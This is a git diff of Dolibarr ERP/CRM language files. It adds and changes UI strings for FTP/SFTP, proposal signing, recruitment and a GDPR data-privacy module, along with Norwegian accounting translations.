      Check your inbox. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Back to login page AuthenticationDoesNotAllowSendNewPassword=Authentication mode is %s.
      In this mode, Dolibarr can't know nor change your password.
      Contact your system administrator if you want to change your password. EnableGDLibraryDesc=Install or enable GD library on your PHP installation to use this option. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Invoice %s has been validated. EMailTextInvoicePayed=Invoice %s has been paid. EMailTextProposalValidated=Proposal %s has been validated. EMailTextProposalClosedSigned=Proposal %s has been closed signed. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Order %s has been validated. EMailTextOrderApproved=Order %s has been approved. EMailTextOrderValidatedBy=Order %s has been recorded by %s. @@ -303,3 +309,31 @@ SelectTheTypeOfObjectToAnalyze=Select an object to view its statistics... ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Close +Autofill = Autofill + +# externalsite +ExternalSiteSetup=Setup link to external website +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=Module ExternalSite was not configured properly. +ExampleMyMenuEntry=My menu entry + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Failed to remove file %s. +FTPFailedToRemoveDir=Failed to remove directory %s: check permissions and that the directory is empty. +FTPPassiveMode=Passive mode +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Failed to get files %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/mk_MK/propal.lang b/htdocs/langs/mk_MK/propal.lang index 6c4cd394b24..e58b34d4a62 100644 --- a/htdocs/langs/mk_MK/propal.lang +++ b/htdocs/langs/mk_MK/propal.lang @@ -54,6 +54,7 @@ NoDraftProposals=No draft proposals CopyPropalFrom=Create commercial proposal by copying existing proposal CreateEmptyPropal=Create empty commercial proposal or from list of products/services DefaultProposalDurationValidity=Default commercial proposal validity duration (in days) +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address ConfirmClonePropal=Are you sure you want to clone the commercial proposal %s? ConfirmReOpenProp=Are you sure you want to open back the commercial proposal %s? @@ -64,36 +65,54 @@ AvailabilityPeriod=Availability delay SetAvailability=Set availability delay AfterOrder=after order OtherProposals=Other proposals + ##### Availability ##### AvailabilityTypeAV_NOW=Immediate AvailabilityTypeAV_1W=1 week AvailabilityTypeAV_2W=2 weeks AvailabilityTypeAV_3W=3 weeks AvailabilityTypeAV_1M=1 month -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Representative following-up proposal TypeContact_propal_external_BILLING=Customer invoice contact TypeContact_propal_external_CUSTOMER=Customer contact following-up proposal TypeContact_propal_external_SHIPPING=Customer contact for delivery + # Document models -DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Case followed by +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=Default template when closing a business proposal (unbilled) DefaultModelPropalCreate=Default model creation DefaultModelPropalToBill=Default template when closing a business proposal (to be invoiced) -DefaultModelPropalClosed=Default template when closing a business proposal (unbilled) +DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) +DocModelCyanDescription=A complete proposal model +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line +NoSign=Refuse +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=Written acceptance, company stamp, date and signature ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git a/htdocs/langs/mk_MK/recruitment.lang b/htdocs/langs/mk_MK/recruitment.lang index 5e3f22fe352..adbf544fdf6 100644 --- a/htdocs/langs/mk_MK/recruitment.lang +++ b/htdocs/langs/mk_MK/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=Salary +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/mn_MN/datapolicy.lang b/htdocs/langs/mn_MN/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/mn_MN/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/ms_MY/datapolicy.lang b/htdocs/langs/ms_MY/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/ms_MY/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/my_MM/datapolicy.lang b/htdocs/langs/my_MM/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/my_MM/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/nb_NO/accountancy.lang b/htdocs/langs/nb_NO/accountancy.lang index 8c9d8002207..c8f6af25915 100644 --- a/htdocs/langs/nb_NO/accountancy.lang +++ b/htdocs/langs/nb_NO/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Velg vognreturtypen ACCOUNTING_EXPORT_PREFIX_SPEC=Velg prefiks for filnavnet ThisService=Denne tjenesten ThisProduct=Denne varen -DefaultForService=Standard for tjeneste -DefaultForProduct=Standard for vare +DefaultForService=Standard for tjenester +DefaultForProduct=Standard for varer ProductForThisThirdparty=Vare for denne tredjeparten ServiceForThisThirdparty=Tjeneste for denne tredjeparten CantSuggest=Kan ikke foreslå @@ -48,9 +48,9 @@ CountriesNotInEEC=Land ikke i EEC CountriesInEECExceptMe=Land i EEC unntatt %s CountriesExceptMe=Alle land unntatt %s AccountantFiles=Eksporter kildedokumenter -ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). +ExportAccountingSourceDocHelp=Med dette verktøyet kan du søke og eksportere kildehendelsene som brukes til å generere regnskapet ditt.
      Den eksporterte ZIP-filen vil inneholde listene over forespurte elementer i CSV, samt vedlagte filer i deres originale format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=For å eksportere journalene dine, bruk menyoppføringen %s - %s. -ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. +ExportAccountingProjectHelp=Spesifiser et prosjekt hvis du trenger en regnskapsrapport kun for et spesifikt prosjekt. Utgiftsrapporter og lånebetalinger er ikke inkludert i prosjektrapporter. VueByAccountAccounting=Vis etter regnskapskonto VueBySubAccountAccounting=Vis etter regnskaps-subkonto @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=Hovedregnskapskonto for leverandører som ikke MainAccountForUsersNotDefined=Hoved regnskapskonto for brukere som ikke er definert i oppsettet MainAccountForVatPaymentNotDefined=Hoved regnskapskonto for MVA-betaling ikke definert i oppsettet MainAccountForSubscriptionPaymentNotDefined=Hovedregnskapskonto for abonnementsbetaling ikke definert i oppsettet +UserAccountNotDefined=Regnskapskonto for bruker ikke definert i oppsett AccountancyArea=Regnskapsområde AccountancyAreaDescIntro=Bruk av regnskapsmodulen er gjort i flere skritt: @@ -74,13 +75,13 @@ AccountancyAreaDescVat=TRINN %s: Definer regnskapskonto for hver MVA-sats. Bruk AccountancyAreaDescDefault=TRINN %s: Definer standard regnskapskontoer. For dette, bruk menyoppføringen %s. AccountancyAreaDescExpenseReport=TRINN %s: Definer standard regnskapskontoer for hver type utgiftsrapport. For dette, bruk menyoppføringen %s. AccountancyAreaDescSal=TRINN %s: Definer standard regnskapskonto for betaling av lønn. Bruk menyoppføring %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. +AccountancyAreaDescContrib=TRINN %s: Definer standard regnskapskontoer for skatter (spesielle utgifter). For dette, bruk menyoppføringen %s. AccountancyAreaDescDonation=TRINN %s: Definer standard regnskapskonto for donasjoner. Bruk menyoppføringen %s. AccountancyAreaDescSubscription=TRINN %s: Definer standard regnskapskonto for medlemsabonnement. Bruk menyoppføringen %s. AccountancyAreaDescMisc=TRINN %s: Definer obligatorisk standardkonto og standard regnskapskontoer for diverse transaksjoner. Bruk menyoppføringen %s. AccountancyAreaDescLoan=TRINN %s: Definer standard regnskapskonto for lån. Bruk menyoppføringen %s. AccountancyAreaDescBank=TRINN %s: Definer regnskapskontoer og journalkode for hver bank- og finansregnskap. For dette, bruk menyoppføringen %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. +AccountancyAreaDescProd=TRINN %s: Definer regnskapskontoer på dine varer/tjenester. For dette, bruk menyoppføringen %s. AccountancyAreaDescBind=TRINN %s: Kontroller at bindingen mellom eksisterende %s linjer og regnskapskonto er ferdig, slik at applikasjonen vil kunne journalføre transaksjoner i hovedboken med ett klikk. Fullfør manglende bindinger. Bruk menyen %s. AccountancyAreaDescWriteRecords=TRINN %s: Skriv transaksjoner inn i hovedboken. For dette, gå til menyen %s, og klikk på knappen %s. @@ -100,7 +101,8 @@ ShowAccountingAccount=Vis regnskapskonto ShowAccountingJournal=Vis regnskapsjournal ShowAccountingAccountInLedger=Vis regnskapskonto i hovedbok ShowAccountingAccountInJournals=Vis regnskapskonto i journaler -AccountAccountingSuggest=Foreslått regnskapskonto +DataUsedToSuggestAccount=Data brukt til å foreslå konto +AccountAccountingSuggest=Foreslått konto MenuDefaultAccounts=Standard kontoer MenuBankAccounts=Bankkonti MenuVatAccounts=MVA-kontoer @@ -113,7 +115,7 @@ MenuAccountancyClosure=Nedleggelse MenuAccountancyValidationMovements=Valider bevegelser ProductsBinding=Varekontoer TransferInAccounting=Overføring i regnskap -RegistrationInAccounting=Recording in accounting +RegistrationInAccounting=Registrering i regnskap Binding=Binding til kontoer CustomersVentilation=Binding av kundefakturaer SuppliersVentilation=Leverandørfaktura-bindinger @@ -125,6 +127,7 @@ WriteBookKeeping=Registrere transaksjoner i regnskapet Bookkeeping=Hovedbok BookkeepingSubAccount=Sub-Hovedbok AccountBalance=Kontobalanse +AccountBalanceSubAccount=Underkonto-saldo ObjectsRef=Kildeobjekt ref CAHTF=Samlet leverandørkjøp før skatt TotalExpenseReport=Total utgiftsrapport @@ -160,46 +163,49 @@ ACCOUNTING_LENGTH_AACCOUNT=Lengden på tredjeparts regnskapskontoer (Hvis du ang ACCOUNTING_MANAGE_ZERO=Tillat å administrere forskjellig antall nuller på slutten av en regnskapskonto. Nødvendig for enkelte land (som Sveits). Hvis du holder den av (standard), kan du angi de 2 følgende parametrene for å be om å legge til virtuell null. BANK_DISABLE_DIRECT_INPUT=Deaktiver direkteregistrering av transaksjoner på bankkonto ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Aktiver eksportutkast i journal -ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) +ACCOUNTANCY_COMBO_FOR_AUX=Aktiver kombinasjonsliste for underordnet konto (kan være treg hvis du har mange tredjeparter, fjerner muligheten til å søke på en del av verdien) ACCOUNTING_DATE_START_BINDING=Definer en dato for å starte binding og overføring i regnskap. Etter denne datoen vil ikke transaksjonene bli overført til regnskap. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Ved regnskapsoverføring, hvilken periode er valgt som standard -ACCOUNTING_SELL_JOURNAL=Salgsjournal -ACCOUNTING_PURCHASE_JOURNAL=Innkjøpsjournal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Diverseprotokoll +ACCOUNTING_SELL_JOURNAL=Salgsjournal - salg og returer +ACCOUNTING_PURCHASE_JOURNAL=Kjøpsjournal – kjøp og retur +ACCOUNTING_BANK_JOURNAL=Kassejournal - inn- og utbetalinger ACCOUNTING_EXPENSEREPORT_JOURNAL=Utgiftsjournal -ACCOUNTING_SOCIAL_JOURNAL=Sosialjournal +ACCOUNTING_MISCELLANEOUS_JOURNAL=Generell journal ACCOUNTING_HAS_NEW_JOURNAL=Har ny journal +ACCOUNTING_INVENTORY_JOURNAL=Lagertellingsjournal +ACCOUNTING_SOCIAL_JOURNAL=Sosialjournal ACCOUNTING_RESULT_PROFIT=Resultatregnskapskonto (fortjeneste) ACCOUNTING_RESULT_LOSS=Resultatregnskapskonto (tap) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Avslutningsjournal -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Regnskapkonto for overgangsbasert overføring +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Konto (fra kontoplanen) som skal brukes som konto for overgangs-bankoverføringer TransitionalAccount=Overgangsbasert bankoverføringskonto -ACCOUNTING_ACCOUNT_SUSPENSE=Regnskapskonto for vent -DONATION_ACCOUNTINGACCOUNT=Regnskapskonto for registrering av donasjoner -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Regnskapskonto for å registrere abonnementer +ACCOUNTING_ACCOUNT_SUSPENSE=Konto (fra kontoplanen) som skal brukes som konto for ikke-allokerte midler enten mottatt eller betalt, dvs. midler i "venter" +DONATION_ACCOUNTINGACCOUNT=Konto (fra kontoplanen) som skal brukes til å registrere donasjoner (donasjonsmodul) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Konto (fra kontoplanen) som skal brukes til å registrere medlemskapsabonnementer (Medlemsmodul - hvis medlemskap er registrert uten faktura) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Regnskapskonto som standard for å registrere kundeinnskudd -UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Accounting account by default to register supplier deposit -UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Konto (fra kontoplanen) som skal brukes som standardkonto for å registrere kundeinnskudd +UseAuxiliaryAccountOnCustomerDeposit=Lagre kundekonto som individuell konto i hovedbok for linjer med forskuddsbetalinger (hvis den er deaktivert, vil individuell konto for forskuddsbetalingslinjer forbli tom) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Konto (fra kontoplanen) som skal brukes som standard +UseAuxiliaryAccountOnSupplierDeposit=Lagre leverandørkonto som individuell konto i hovedbok for linjer med forskuddsbetalinger (hvis den er deaktivert, vil individuell konto for forskuddslinjer forbli tom) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Regnskapskonto som standard for å registrere garantibeløp -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Regnskapskonto som standard for de kjøpte varene (brukt hvis ikke definert i produktarket) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Regnskapskonto som standard for kjøpte produkter i EU (brukt hvis ikke definert i produktarket) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Regnskapskonto som standard for kjøpte produkter og importert ut av EU (brukt hvis ikke definert i produktarket) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Standard regnskapskonto for solgte varer (brukt hvis ikke definert på varekortet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Regnskapskonto som standard for varene som selges i EU (brukt hvis ikke definert i varearket) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Regnskapskonto som standard for produktene som er solgt og eksportert ut av EU (brukt hvis 